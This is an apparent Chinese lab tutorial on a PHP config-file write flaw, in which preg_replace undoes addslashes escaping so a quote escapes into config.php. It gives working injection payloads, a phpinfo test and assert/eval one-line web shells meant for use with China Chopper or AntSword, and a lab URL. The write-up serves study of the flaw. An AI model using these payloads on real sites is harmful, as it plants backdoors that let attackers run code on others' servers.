经典的配置文件写入问题漏洞
源码:
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
config.php 的内容如下:
<?php
$option='test';
要求是要getshell,这个场景十分经典,常用在修改配置文件写入的时候。
此处不存在之前说的那个配置文件中用的是”双引号”引起任意代码执行的问题,这这里面用的是单引号,而且 addslashes()处理过了,看似很安全(斜眼笑.jpg)
preg_replace函数在处理字符串的时候,会自动对第二个参数的 \ 这个字符进行反转移.
也就是说如果字符串是 \\\'
,经过 preg_replace()的处理,就变为 \\'
,单引号就逃出来了.
所以payload如下:
?option=a\';phpinfo();//
config.php变为:
<?php
$option='a\\';phpinfo();//';
道理就是 a\';phpinfo();//
经过 addslashes()处理之后,变为a\\\';phpinfo();//
然后两个反斜杠被preg_replace变成了一个,导致单引号逃脱.
直接传入shell
?option=a\';assert($_REQUEST[8]);//
或者
?option=a\';eval($_REQUEST[8]);//
传入shell后连接菜刀(或者蚁剑)
http://uu0lo9a3.lab.aqlab.cn/config.php
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
君叹
发表于 2023-6-15
config.php的源码是怎么来的
评论列表
加载数据中...